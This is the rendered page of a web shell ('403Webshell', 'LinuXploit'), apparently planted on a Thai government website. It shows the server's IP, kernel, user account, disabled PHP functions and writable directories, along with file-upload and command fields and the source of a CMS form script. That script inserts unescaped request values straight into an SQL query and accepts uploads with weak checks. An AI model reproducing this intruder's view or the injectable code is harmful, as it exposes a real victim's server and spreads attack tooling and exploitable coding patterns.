403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.141.244.88
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/load/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/load/addlink_form.php
<?

$navig['link']=$data_name_menu_sub[name];
$navig['addlink_form']="เพิ่มหัวข้อลิงค์ย่อย";
navigator($navig);
echo "<br>";
bar_header("เพิ่มหัวข้อลิงค์ย่อย"); // Bar_Header
fieldset_top("ลิงค์");


import_request_variables('pG', 'p_');
if($p_add!="")							{  $add=trim($p_add);											}
if($p_topic!="")							{  $topic=trim($p_topic);										}
if($p_link_url!="")						{  $link_url=trim($p_link_url);								}
if($p_id_group!="")					{  $id_group=trim($p_id_group);							}
$userfile1_name=trim($_FILES['userfile1']['name']);

// add topic link
if($add=="1" and $topic!="")
{


// Create_Filename
if($userfile1_name!="")	{	
// เช็คไฟล์ว่าถูกต้องหรือไม่
		if($userfile1_name!="")			{	check_pic($userfile1_name,1);	}

		$name1=create_filename($userfile1_name);		
		$dlink="$_SESSION[web_name]/mainfile/".$name1;
		upload_file_to_server($dlink,$_FILES['userfile1']);		

		list($width, $height, $type, $attr) = getimagesize("$_SESSION[web_name]/mainfile/$name1");
			check_pic_height($height,$name1);
			check_pic_width($width,$name1);
} 

	$sql="INSERT INTO `cms_link` (`id_link` ,`id_group` ,`url` ,`msg` ,`picture` ,`state` ,`status` ,`position` ) VALUES (NULL , '$id_group', '$link_url', '$topic','$name1', '0', '1', '0')";
	$result=mysql_query($sql);	
	echo"<br><br><center>ข้อมูลได้ถูกเพิ่มแล้ว<br><br></enter>";
	echo "<meta http-equiv='refresh' content='2; url=index.php?mod=link&path=link'>" ;
}else{
?>


<table width="550" border="0" align="center" cellpadding="1" cellspacing="3">
<form  name="add" action="index.php?mod=addlink_form&path=link&add=1&id_group=<?echo $id_group;?>" method="post" onSubmit="return checkadd()" enctype="multipart/form-data">

  <tr height='35'>
     <td width=5%></td> 	
     <td width=25%><div align="left"><img src='coremain/images/marker.gif'> ชื่อลิงค์</div></td> 
	 <td width=65%><div align="left"><input name="topic" type="text" size="40"></td> 
  </tr>

  <tr height='35'>
     <td width=5%></td> 	
     <td width=25%><div align="left"><img src='coremain/images/marker.gif'> URL</div></td> 
	 <td width=65%><div align="left"><input name="link_url" type="text" size="40" value="http://"></td> 
  </tr>

  <tr height='35'>
     <td width=5%></td> 	
     <td width=25%><div align="left"><img src='coremain/images/marker.gif'> Upload รูปแบนเนอร์</div></td> 
	 <td width=65%><div align="left"><input name="userfile1" type="file" size="40"></td> 
  </tr>

	<tr height='35'>
     <td width=5%></td> 	
     <td width=15%></td> 
	 <td width=80%><div align="left">       
			<input type="submit" name="Submit" value="เพิ่มข้อมูล" onmouseover=this.style.cursor='hand'>
</td> 
  </tr>

</form> 
</table>

<?}
fieldset_down();
?>

<script language="javascript">
function checkadd() {
if(document.add.topic.value=="") {
alert("กรุณากรอก ชื่อลิงค์!") ;
document.add.topic.focus() ;
return false ;
}
else if(document.add.link_url.value=="http://") {
alert("กรุณากรอก URL ให้ถูกต้อง!") ;
document.add.link_url.focus() ;
return false ;
}
else 
return true ;
}
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit